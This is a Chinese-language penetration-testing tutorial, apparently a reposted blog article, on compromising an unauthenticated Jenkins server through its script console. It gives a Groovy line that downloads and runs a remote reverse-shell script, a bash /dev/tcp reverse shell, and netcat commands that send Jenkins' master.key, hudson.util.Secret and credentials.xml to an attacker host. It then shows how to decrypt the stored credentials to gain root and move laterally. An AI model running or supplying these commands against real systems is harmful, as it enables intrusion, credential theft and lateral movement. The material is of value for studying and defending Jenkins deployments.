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Jenkins凭证提取

入口

碰到Jenkins未授权并且拥有Overall/RunScripts权限时可以在Script页面执行命令反弹Shell:

println "wget http://www.rinige.com/back.py -P /tmp/".execute().text
println "python /tmp/back.py 192.168.1.3 8080".execute().text

Groovy脚本,这里使用的是 pentestmonkey 的Java reverse shell:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/[attacker IP]/[port];cat <&5 | while read line; do /$line 2>&5 >&5; done"] as String[])
p.waitFor()

如果用户不是root没有sudo权限的情况下可以通过提取Jenkins保存的用户或者其他节点凭证来获取root权限

Jenkins凭证提取

通常需要获取三个文件: master.keyhudson.util.Secret 还有 credentials.xml

这三个文件都在Jenkins安装目录,默认是 /opt/jenkins

root@jenkins:/opt/jenkins # nc -w3 192.168.1.3 5000 < credentials.xml
root@jenkins:/opt/jenkins/secrets # nc -w3 192.168.1.3 5000 < master.key
root@jenkins:/opt/jenkins/secrets # nc -w3 192.168.1.3 5000 < hudson.util.Secret

root@kali:~# nc -l -p 5000 > credentials.xml
root@kali:~# nc -l -p 5000 > master.key
root@kali:~# nc -l -p 5000 > hudson.util.Secret

文件内容示例:

credentials.xml

<?xml version =' 
1.0'encoding  ='UTF-8'?> <com.cloudbees.plugins.credentials.SystemCredentialsProvider plugin = “credentials@1.9.4” > 
  <domainCredentialsMap  class = “hudson.util.CopyOnWriteMap $ Hash” > 
    <entry> 
      <com.cloudbees.plugins.credentials.domains.Domain> 
        <specifications /> 
      </com.cloudbees.plugins.credentials.domains.Domain> 
      <java.util.concurrent.CopyOnWriteArrayList> 
        <com.cloudbees.plugins .credentials.impl.UsernamePasswordCredentialsImpl> 
          <scope> GLOBAL </ scope> 
          <id> cd940f20-1697-4052-8b8b-e47c058b5390 </ id> 
          <description> </ description> 
          <username> admin</ username> 
          <password> VHWeSi8aTjIHIObYWyNw / 4hrqydpYESwI1JWfmBQNdI = </ password> 
        </com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl> 
      </java.util.concurrent.CopyOnWriteArrayList> 
    </ entry> 
  </ domainCredentialsMap>

hudson.util.Secret

[root @ localhost secrets]#cat hudson.util.Secret | hexdump -C
00000000 de 03 88 1c 89 df 74 7a 3d f0 00 27 dc 9b e1 a3 | ...... tz = ..'.... |
00000010 e0 61 1d 99 30 31 91 95 e3 3b 2f 6d 8c a8 1f 4d | .a..01 ...; / m ... M |
00000020 38 b6 eb 20 13 27 38 e7 5b 93 09 e5 91 04 b8 53 | 8 .. .8。[...... S |
00000030 df 64 68 75 39 47 3a 2b 2a 17 69 64 ee bc 75 7b | .dhu9G:+ *。id..u {|
00000040 07 5f a1 e9 69 a2 d8 23 9f ad 6b 4d eb db 91 c5 | .. .. .. .. .. kM .... |
00000050 24 06 6b bc 3c d7 4f 16 e3 ab 95 19 72 f0 75 e7 | $ .k。<。O ..... ru |
00000060 c1 6c 2c 9d 0f 3f 06 99 4e 9f b4 50 12 44 91 1c | .l,..?.. N..PD。|
00000070 35 78 3c c3 cd 1a 2a 77 6e b5 90 4e 7d eb 3c f6 | 5x <... * wn..N}。<。|
00000080 fd c9 53 9e 6f 69 73 02 7b f8 dc 72 f2 60 12 cc | ..S.ois。{.. r.` .. |
00000090 ae df 4a 10 65 23 bb 34 36 db 7c 38 f0 a6 fc a3 | ..Je#.46。| 8 .... |
000000a0 24 d2 b6 a5 28 b9 58 f8 40 45 0f 83 39 5e da b4 | $ ...(。X. @ E..9 ^ .. |
000000b0 5d 93 f0 8f 33 06 bd af 47 b9 d0 b1 ec 26 39 ef |] ... 3 ... G ....&9. |
000000c0 53 25 6a d8 ce c6 ec a5 26 5b ee 85 20 df 63 4d | S%j .....&[.. .cM |
000000d0 f7 f4 94 33 c4 8e 3d 82 ad a9 45 4e be 3e dc 0e | ... 3 .. = ... EN。> .. |
000000e0 1e d9 49 47 36 3d 38 f3 eb 29 22 22 0c c9 b5 0a | ..IG6 = 8 ..)“”.... |
000000f0 68 a0 e4 0d 0d 5b 99 08 3f 4e 03 8a 70 78 7c a7 | h .... [..?N..px |。|
00000100 28 6a a7 93 8b 23 10 54 dd 49 6f f5 67 f4 9c 3c |(j ...#。T.Io.g .. <|
00000110
[root @ localhost secrets]#wc hudson.util.Secret 
  1 7 272 hudson.util.Secret

master.key

6fa18d9aaac920b016d119b76de75251f472ec6f44734533d64eeb5de794f1ca33108a7a7c853a3acf084184e3e93ff98484d668a32d16f810cce970f93c750da0b785cb25527384acab38015c1a3e180a342b807f724da01f3e94584ac60651dc7f1958f3e2c6ed1a16990cbbcc361c82e3b65e96f435173ea67b7255d6810f

解密

Jenkins使用 master.key 来加密 hudson.util.Secret 密钥, hudson.util.Secret 又用于加密 credentials.xml 中的密码。使用的加密算法为 AES-128-ECB

Script页面执行

println( hudson.util.Secret.decrypt("${ENCRYPTED_PASSPHRASE_OR_PASSWORD}") )

Python脚本:

有国外的安全研究员公开了解密脚本: https://github.com/tweksteen/jenkins-decrypt

root@kali:~/jenkins-decrypt# python decrypt.py master.key hudson.util.Secret credentials.xml

由此我们就可以解密凭证获得root权限进行横向渗透等操作

参考

  • http://xn--thibaud-dya.fr/jenkins_credentials.html
原文  http://rinige.com/index.php/archives/894/
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